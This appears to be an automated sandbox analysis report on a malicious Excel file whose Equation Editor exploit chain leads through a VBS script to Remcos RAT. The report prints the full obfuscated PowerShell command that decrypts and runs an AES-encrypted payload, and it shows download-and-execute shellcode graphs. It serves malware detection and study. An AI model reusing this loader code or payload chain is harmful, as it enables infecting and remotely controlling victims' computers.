                    MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:8
                    Start time:07:19:09
                    Start date:26/07/2024
                    Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                    Wow64 process (32bit):true
                    Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                    Imagebase:0x400000
                    File size:543'304 bytes
                    MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:9
                    Start time:07:19:11
                    Start date:26/07/2024
                    Path:C:\Windows\SysWOW64\wscript.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS"
                    Imagebase:0x6e0000
                    File size:141'824 bytes
                    MD5 hash:979D74799EA6C8B8167869A68DF5204A
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:10
                    Start time:07:19:11
                    Start date:26/07/2024
                    Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
                    Imagebase:0x180000
                    File size:427'008 bytes
                    MD5 hash:EB32C070E658937AA9FA9F3AE629B2B8
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                    Reputation:high
                    Has exited:true

                    General

                    Target ID:12
                    Start time:07:19:18
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    Imagebase:0x1150000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Yara matches:
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                    • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                    • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                    • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                    • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                    Reputation:moderate
                    Has exited:false

                    General

                    Target ID:13
                    Start time:07:19:22
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\lbvlkbmzmwfnyoxgjysjrgc"
                    Imagebase:0x1150000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    General

                    Target ID:14
                    Start time:07:19:22
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\vvawltxaiexsactkaincctxyki"
                    Imagebase:0x1150000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    General

                    Target ID:15
                    Start time:07:19:22
                    Start date:26/07/2024
                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    Wow64 process (32bit):true
                    Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yxfommiuwmpxlihojtzefxrplotjp"
                    Imagebase:0x1150000
                    File size:64'704 bytes
                    MD5 hash:8FE9545E9F72E460723F484C304314AD
                    Has elevated privileges:true
                    Has administrator privileges:true
                    Programmed in:C, C++ or other language
                    Reputation:moderate
                    Has exited:true

                    Disassembly

                    Code Analysis

                    Call Graph

                    • Entrypoint
                    • Decryption Function
                    • Executed
                    • Not Executed
                    • Show Help
                    callgraph 1 Error: Graph is empty

                    Module: Sheet1

                    Declaration
                    LineContent
                    1

                    Attribute VB_Name = "Sheet1"

                    2

                    Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                    3

                    Attribute VB_GlobalNameSpace = False

                    4

                    Attribute VB_Creatable = False

                    5

                    Attribute VB_PredeclaredId = True

                    6

                    Attribute VB_Exposed = True

                    7

                    Attribute VB_TemplateDerived = False

                    8

                    Attribute VB_Customizable = True

                    Module: Sheet2

                    Declaration
                    LineContent
                    1

                    Attribute VB_Name = "Sheet2"

                    2

                    Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                    3

                    Attribute VB_GlobalNameSpace = False

                    4

                    Attribute VB_Creatable = False

                    5

                    Attribute VB_PredeclaredId = True

                    6

                    Attribute VB_Exposed = True

                    7

                    Attribute VB_TemplateDerived = False

                    8

                    Attribute VB_Customizable = True

                    Module: Sheet3

                    Declaration
                    LineContent
                    1

                    Attribute VB_Name = "Sheet3"

                    2

                    Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                    3

                    Attribute VB_GlobalNameSpace = False

                    4

                    Attribute VB_Creatable = False

                    5

                    Attribute VB_PredeclaredId = True

                    6

                    Attribute VB_Exposed = True

                    7

                    Attribute VB_TemplateDerived = False

                    8

                    Attribute VB_Customizable = True

                    Module: ThisWorkbook

                    Declaration
                    LineContent
                    1

                    Attribute VB_Name = "ThisWorkbook"

                    2

                    Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                    3

                    Attribute VB_GlobalNameSpace = False

                    4

                    Attribute VB_Creatable = False

                    5

                    Attribute VB_PredeclaredId = True

                    6

                    Attribute VB_Exposed = True

                    7

                    Attribute VB_TemplateDerived = False

                    8

                    Attribute VB_Customizable = True

                    Reset < >

                      Execution Graph

                      Execution Coverage:3.1%
                      Dynamic/Decrypted Code Coverage:0%
                      Signature Coverage:41.5%
                      Total number of Nodes:65
                      Total number of Limit Nodes:2
                      execution_graph 952 33049f 953 3306b9 952->953 955 3306f9 953->955 956 330706 955->956 957 330824 10 API calls 956->957 959 330812 957->959 958 330892 959->958 960 330880 9 API calls 959->960 961 330866 960->961 961->958 962 3308ee 9 API calls 961->962 962->958 963 330702 964 330706 963->964 965 330824 10 API calls 964->965 967 330812 965->967 966 330892 967->966 968 330880 9 API calls 967->968 969 330866 968->969 969->966 970 3308ee 9 API calls 969->970 970->966 857 330a00 GetPEB 858 330a0e 857->858 899 3307af 901 330706 899->901 907 330824 ExitProcess 901->907 914 33083d 907->914 915 330843 914->915 922 330859 915->922 923 33085f 922->923 926 330866 923->926 928 330880 923->928 925 330892 926->925 932 3308ee 926->932 929 330883 928->929 930 3308ee 9 API calls 929->930 931 330892 930->931 933 3308f0 932->933 934 330903 9 API calls 933->934 935 3308f5 934->935 859 3308ee 860 3308f0 859->860 863 330903 LoadLibraryW 860->863 868 33091d 863->868 869 330920 868->869 872 3309a6 URLDownloadToFileW 869->872 882 3309bf 872->882 875 3309c6 877 3309ce ShellExecuteW 875->877 879 33092e 875->879 891 3309f9 877->891 880 3309ed 880->879 881 3309fc ExitProcess 880->881 883 3309c1 882->883 884 3309d4 3 API calls 883->884 885 3309c6 884->885 886 3309ce ShellExecuteW 885->886 888 3309af 885->888 887 3309f9 ExitProcess 886->887 889 3309ed 887->889 888->875 893 3309d4 888->893 889->888 890 3309fc ExitProcess 889->890 892 3309fc ExitProcess 891->892 894 3309d7 ShellExecuteW 893->894 895 3309f9 ExitProcess 894->895 897 3309ed 894->897 895->897 896 330a34 896->875 897->896 898 3309fc ExitProcess 897->898

                      Callgraph

                      • Executed
                      • Not Executed
                      • Opacity -> Relevance
                      • Disassembly available
                      callgraph 0 Function_00338632 1 Function_0033F0B2 2 Function_00335BB1 3 Function_0033CF30 4 Function_003390B0 5 Function_00338736 6 Function_0033C1B5 7 Function_0033EC3B 8 Function_0033EDBA 9 Function_0033A739 10 Function_003309BF 50 Function_003309F9 10->50 70 Function_003309D4 10->70 11 Function_0033083D 40 Function_00330880 11->40 51 Function_00330A79 11->51 63 Function_003308EE 11->63 75 Function_00330859 11->75 12 Function_0033CFBC 13 Function_003384A2 14 Function_003305A1 15 Function_003309A6 15->10 15->50 15->70 16 Function_00330824 16->11 16->40 16->63 17 Function_0033EEAA 18 Function_00330A28 19 Function_0033A6A8 20 Function_003307AF 20->16 20->40 20->63 21 Function_0033EB12 22 Function_0033A192 23 Function_00338592 24 Function_0033ED92 25 Function_00330711 25->16 25->40 25->63 26 Function_00330715 26->16 26->40 26->63 27 Function_00336C94 28 Function_0033CF9A 29 Function_0033879A 30 Function_0033819A 31 Function_0033EF9A 32 Function_0033ED18 33 Function_0033049F 52 Function_003306F9 33->52 34 Function_0033091D 34->15 35 Function_00330903 35->15 35->34 36 Function_00330702 36->16 36->40 36->63 37 Function_00330781 37->16 37->40 37->63 38 Function_0033F281 39 Function_00330A00 39->18 40->63 41 Function_0033860A 42 Function_0033A072 43 Function_003384F2 44 Function_00337FF1 45 Function_003307F0 45->16 45->40 45->63 46 Function_003307F6 46->16 46->40 46->63 47 Function_0033D2F4 48 Function_0033CFFA 49 Function_0033EEFA 52->16 52->40 52->63 53 Function_003303FF 54 Function_003307FE 54->16 54->40 54->63 55 Function_00330762 55->16 55->40 55->63 56 Function_00338362 57 Function_003385E2 58 Function_0033EDE2 59 Function_00340462 60 Function_0033856A 61 Function_0033ED6A 62 Function_0033B6E9 63->35 64 Function_0033046D 65 Function_00339052 66 Function_00338452 67 Function_0033A3D2 68 Function_0033EED2 69 Function_003307D7 69->16 69->40 69->63 70->50 71 Function_00336D5A 72 Function_0033865A 73 Function_0033EE5A 74 Function_003383DA 75->40 75->51 75->63 76 Function_0033E2DD 77 Function_0033A342 78 Function_00338542 79 Function_0033CFC2 80 Function_003385C0 81 Function_00330647 82 Function_00336F44 83 Function_0033FECB 84 Function_0033ECCA 85 Function_0032F14F 86 Function_0033624E

                      Executed Functions

                      Function 003309A6 Relevance: 4.5, APIs: 3, Instructions: 37filenetworkCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 3309a6-3309c0 URLDownloadToFileW call 3309bf 4 3309c6-3309cc 0->4 5 3309c1 call 3309d4 0->5 6 330a33-330a3f 4->6 7 3309ce-3309f0 ShellExecuteW call 3309f9 4->7 5->4 8 330a42 6->8 7->8 20 3309f2 7->20 10 330a44-330a48 8->10 11 330a4a-330a4e 8->11 10->11 13 330a56-330a5d 10->13 14 330a63-330a65 11->14 15 330a50-330a54 11->15 17 330a61 13->17 18 330a5f 13->18 19 330a75-330a76 14->19 15->13 15->14 17->14 22 330a67-330a70 17->22 18->14 20->14 21 3309f4-3309fe ExitProcess 20->21 25 330a72 22->25 26 330a39-330a3c 22->26 25->19 26->22 28 330a3e 26->28 28->8
                      APIs
                      • URLDownloadToFileW.URLMON(00000000,0033092E,?,00000000,00000000), ref: 003309A8
                        • Part of subcall function 003309BF: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 003309E6
                        • Part of subcall function 003309BF: ExitProcess.KERNEL32(00000000), ref: 003309FE
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: DownloadExecuteExitFileProcessShell
                      • String ID:
                      • API String ID: 3584569557-0
                      • Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
                      • Instruction ID: 82ca73bab5fe05ded3517d59e736da02d6fac5faf414da6a9f7d166cf40956c3
                      • Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
                      • Instruction Fuzzy Hash: 5CF0EC6119C3447DFA1BA7B01CFFF692E64AF91704F550989F1555D4E3EAD48404C31D
                      Function 00330903 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66libraryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 29 330903-330905 LoadLibraryW call 33091d 31 33090a-330928 29->31 33 33092e-3309a4 31->33 34 330929 call 3309a6 31->34 34->33
                      APIs
                      • LoadLibraryW.KERNEL32(003308F5), ref: 00330903
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: LibraryLoad
                      • String ID: stohandlecream.vBS
                      • API String ID: 1029625771-442887908
                      • Opcode ID: 7edfbdeee4e528a789ea9d02d930b3e763e051298d6130291cf991ba916a64bc
                      • Instruction ID: 42dff8aed015e28000d2f4ca4ff2930138439bd5d0a46a1e442e51415f6d2b75
                      • Opcode Fuzzy Hash: 7edfbdeee4e528a789ea9d02d930b3e763e051298d6130291cf991ba916a64bc
                      • Instruction Fuzzy Hash: 322124A280D3C11FDB178B304DBA611BF642A23214B5DCACFD8C60E5E3E3989102C767
                      Function 003309D4 Relevance: 3.0, APIs: 2, Instructions: 50COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 39 3309d4-3309e6 ShellExecuteW 41 3309ed-3309f0 39->41 42 3309e8 call 3309f9 39->42 44 330a42 41->44 45 3309f2 41->45 42->41 48 330a44-330a48 44->48 49 330a4a-330a4e 44->49 46 330a63-330a65 45->46 47 3309f4-3309fe ExitProcess 45->47 53 330a75-330a76 46->53 48->49 51 330a56-330a5d 48->51 49->46 52 330a50-330a54 49->52 54 330a61 51->54 55 330a5f 51->55 52->46 52->51 54->46 57 330a67-330a70 54->57 55->46 59 330a72 57->59 60 330a39-330a3c 57->60 59->53 60->57 61 330a3e 60->61 61->44
                      APIs
                      • ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 003309E6
                        • Part of subcall function 003309F9: ExitProcess.KERNEL32(00000000), ref: 003309FE
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: ExecuteExitProcessShell
                      • String ID:
                      • API String ID: 1124553745-0
                      • Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
                      • Instruction ID: a56c4afca4466245d96bd6d427234830746b9c7a08c83e60f22ef83075223793
                      • Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
                      • Instruction Fuzzy Hash: 1901495A59430661EB3F72A468F67BE2B25EB91700FCC8843A9C0080C6D29495C3821D
                      Function 003309BF Relevance: 3.0, APIs: 2, Instructions: 47COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 62 3309bf-3309cc call 3309d4 66 330a33-330a3f 62->66 67 3309ce-3309f0 ShellExecuteW call 3309f9 62->67 68 330a42 66->68 67->68 80 3309f2 67->80 70 330a44-330a48 68->70 71 330a4a-330a4e 68->71 70->71 73 330a56-330a5d 70->73 74 330a63-330a65 71->74 75 330a50-330a54 71->75 77 330a61 73->77 78 330a5f 73->78 79 330a75-330a76 74->79 75->73 75->74 77->74 82 330a67-330a70 77->82 78->74 80->74 81 3309f4-3309fe ExitProcess 80->81 85 330a72 82->85 86 330a39-330a3c 82->86 85->79 86->82 88 330a3e 86->88 88->68
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: ExecuteExitProcessShell
                      • String ID:
                      • API String ID: 1124553745-0
                      • Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
                      • Instruction ID: 25cda4f5868615b15ac2fd0318c274b2a36019af2b1a4ebd1db67eebc88316db
                      • Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
                      • Instruction Fuzzy Hash: 66017D2619C30625F72FB2701CF5BAD6DA5EBC1B04F948456F19008092D2948983831D
                      Function 003309F9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 89 3309f9-3309fe ExitProcess
                      APIs
                      • ExitProcess.KERNEL32(00000000), ref: 003309FE
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: ExitProcess
                      • String ID:
                      • API String ID: 621844428-0
                      • Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                      • Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
                      • Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
                      • Instruction Fuzzy Hash:
                      Function 00330A00 Relevance: .0, Instructions: 14COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 91 330a00-330a0b GetPEB 92 330a0e-330a1f call 330a28 91->92 95 330a21-330a25 92->95
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                      • Instruction ID: b0bbb8e084d7ecbb3bd5057e417f255006f1fc8a7df193c0beeb37a9dbe5f2e8
                      • Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
                      • Instruction Fuzzy Hash: 14D052312126028FC30ADB04DA90E12F36AFFC8311F24C268E0004B61AD330ECA2CB90

                      Non-executed Functions

                      Function 00330824 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 96 330824-33084b ExitProcess call 33083d 99 33089e-3308ba 96->99 100 33084e 96->100 104 3308bb 99->104 102 330850-330853 100->102 103 3308bf-3308ca 100->103 102->104 105 330856 102->105 107 3308cb 103->107 109 3308cc-3308d7 103->109 104->103 105->107 108 330858-330867 call 330880 105->108 107->109 111 3308d9-3308e9 108->111 114 330869-33086e 108->114 109->111 115 3308ec 111->115 114->111 116 330870-330876 114->116 116->107 118 330878 116->118 118->115 119 33087a-33089b call 3308ee 118->119 119->99
                      APIs
                      • ExitProcess.KERNEL32(00330812), ref: 00330824
                      Strings
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID: ExitProcess
                      • String ID: stohandlecream.vBS
                      • API String ID: 621844428-442887908
                      • Opcode ID: dc126a45f49e34529cc8ebf43c040c2afe1f77e7cfa1da122b406e457fda257c
                      • Instruction ID: 174b85c4efed2400e583792cd59cb28ef6d7e595bf8f73767717764ab98175ce
                      • Opcode Fuzzy Hash: dc126a45f49e34529cc8ebf43c040c2afe1f77e7cfa1da122b406e457fda257c
                      • Instruction Fuzzy Hash: 1121B86681E7C00FCB0B97705AFA155BFA0BE13600B1DCACFC4D90E4A3D3549546E396
                      Function 0033B6E9 Relevance: .3, Instructions: 272COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 7f0669de7565d9acbc32f401ea50ed992cb26c2672094fe82bddbcaf9789f23a
                      • Instruction ID: cfc74036b6c6ef171422b6c336d905d39acd57793207606fa4b270fef9ed0d34
                      • Opcode Fuzzy Hash: 7f0669de7565d9acbc32f401ea50ed992cb26c2672094fe82bddbcaf9789f23a
                      • Instruction Fuzzy Hash: E551336104E3C15FC7439BB498A5A813FB0AE07220B5F44EBC4C1CF4B3E2A8599AD762
                      Function 0033F0B2 Relevance: .2, Instructions: 185COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 21f4128b83c5d0aab8d07373de469f69e3b850064c814457cb7c106dc178a197
                      • Instruction ID: 9855f5ca4b8854e60d26a3954c0161d895b9f8de8b4a835b6d6d425457d9ba6a
                      • Opcode Fuzzy Hash: 21f4128b83c5d0aab8d07373de469f69e3b850064c814457cb7c106dc178a197
                      • Instruction Fuzzy Hash: F541926152E7C14FD7439B3888A5A823FB19F17264F0E5AE7C494CF4F3D218981AE726
                      Function 0033EF9A Relevance: .1, Instructions: 127COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0032F000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_8_2_32f000_EQNEDT32.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 429f13697f34521a14f814f300d9d7d7075e7a1240d44413bc0b903b2cef714c
                      • Instruction ID: 6cbcfd3feab77e3fdb9d879fbba4bb1a2b1b19faab5abf7969a02f2e31f120c5
                      • Opcode Fuzzy Hash: 429f13697f34521a14f814f300d9d7d7075e7a1240d44413bc0b903b2cef714c
                      • Instruction Fuzzy Hash: 2621926152E3C04FD743DB7888A5A823FB1AF27240F0E5AEBC490CF4E3D2589919D726

                      Execution Graph

                      Execution Coverage:4.7%
                      Dynamic/Decrypted Code Coverage:0%
                      Signature Coverage:0%
